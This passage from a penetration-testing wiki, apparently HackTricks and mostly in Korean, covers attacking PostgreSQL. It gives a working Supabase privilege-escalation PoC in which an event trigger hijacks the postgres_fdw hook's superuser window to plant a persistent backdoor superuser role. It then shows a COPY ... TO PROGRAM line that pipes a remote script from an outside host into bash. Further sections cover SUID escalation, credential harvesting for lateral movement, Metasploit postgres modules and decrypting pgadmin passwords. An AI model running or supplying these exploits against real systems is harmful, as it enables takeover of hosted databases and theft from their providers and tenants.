관리되는 Supabase 배포는 provider 소유의 before-create.sql/after-create.sql 스크립트를 true superuser 권한으로 실행하도록 CREATE EXTENSION을 래핑하는 supautils extension에 의존합니다. postgres_fdw after-create 스크립트는 잠시 ALTER ROLE postgres SUPERUSER를 실행하고, ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres를 수행한 뒤 postgres를 다시 NOSUPERUSER로 되돌립니다. ALTER FOREIGN DATA WRAPPERcurrent_user가 superuser인 상태에서 ddl_command_start/ddl_command_end 이벤트 트리거를 발생시키기 때문에 테넌트가 만든 트리거가 그 시간 창 내부에서 공격자 SQL을 실행할 수 있습니다.

Exploit flow:

  1. PL/pgSQL 이벤트 트리거 함수를 생성하여 SELECT usesuper FROM pg_user WHERE usename = current_user를 확인하고, true인 경우 백도어 역할을 프로비저닝합니다(예: CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123').
  2. 해당 함수를 ddl_command_startddl_command_end 둘 다에 등록합니다.
  3. Supabase의 after-create 훅을 다시 실행하기 위해 DROP EXTENSION IF EXISTS postgres_fdw CASCADE; 다음에 CREATE EXTENSION postgres_fdw;를 실행합니다.
  4. 훅이 postgres를 권한 상승시키면 트리거가 실행되어 지속적인 SUPERUSER 역할을 생성하고, postgresSET ROLE로 쉽게 접근할 수 있도록 해당 역할을 postgres에게 부여합니다.
postgres_fdw after-create window을 위한 이벤트 트리거 PoC ```sql CREATE OR REPLACE FUNCTION escalate_priv() RETURNS event_trigger AS $$ DECLARE is_super BOOLEAN; BEGIN SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user; IF is_super THEN BEGIN EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123'''; EXCEPTION WHEN duplicate_object THEN NULL; END; BEGIN EXECUTE 'GRANT priv_esc TO postgres'; EXCEPTION WHEN OTHERS THEN NULL; END; END IF; END; $$ LANGUAGE plpgsql;

DROP EVENT TRIGGER IF EXISTS log_start CASCADE; DROP EVENT TRIGGER IF EXISTS log_end CASCADE; CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv(); CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv();

DROP EXTENSION IF EXISTS postgres_fdw CASCADE; CREATE EXTENSION postgres_fdw;

</details>

Supabase의 시도는 unsafe triggers를 건너뛰려 할 때 소유권만 확인하므로, 트리거 함수의 소유자가 낮은 권한 역할인지 확인하라. 그러나 페이로드는 훅이 `current_user`를 SUPERUSER로 전환할 때만 실행된다. 트리거가 이후 DDL에서 재실행되기 때문에, 공급자가 테넌트 역할을 잠깐 올릴 때마다 자체 치유되는 persistence backdoor로도 동작한다.

### 일시적인 SUPERUSER 접근을 host compromise로 전환하기

`SET ROLE priv_esc;`가 성공하면, 이전에 차단된 primitives를 다시 실행하라:
```sql
INSERT INTO public.ai_models(model_name, config)
VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';

pg_read_file/COPY ... TO PROGRAM은 이제 데이터베이스 OS 계정으로 임의의 파일 접근 및 명령 실행을 제공합니다. 이후 standard host privilege escalation을 수행하세요:

find / -perm -4000 -type f 2>/dev/null

Abusing a misconfigured SUID binary or writable config grants root. Once root, harvest orchestration credentials (systemd unit env files, /etc/supabase, kubeconfigs, agent tokens) to pivot laterally across the provider’s region.

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

로깅

postgresql.conf 파일 안에서 다음을 변경하여 postgresql 로그를 활성화할 수 있습니다:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

그런 다음, 서비스를 재시작하세요.

pgadmin

pgadmin은 PostgreSQL용 관리 및 개발 플랫폼입니다.
파일 pgadmin4.db 안에서 passwords를 찾을 수 있습니다
해당 스크립트 내의 decrypt 함수로 복호화할 수 있습니다: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

PostgreSQL의 클라이언트 인증은 pg_hba.conf라는 구성 파일로 관리됩니다. 이 파일에는 연결 유형, 클라이언트 IP 주소 범위(해당되는 경우), 데이터베이스 이름, 사용자 이름 및 연결 매칭에 사용할 인증 방법을 지정하는 일련의 레코드가 포함됩니다. 연결 유형, 클라이언트 주소, 요청된 데이터베이스 및 사용자 이름과 일치하는 첫 번째 레코드가 인증에 사용됩니다. 인증에 실패하더라도 대체 경로나 백업이 없습니다. 일치하는 레코드가 없으면 접근이 거부됩니다.

The available password-based authentication methods in pg_hba.conf are md5, crypt, and password. These methods differ in how the password is transmitted: MD5-hashed, crypt-encrypted, or clear-text. It’s important to note that the crypt method cannot be used with passwords that have been encrypted in pg_authid.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기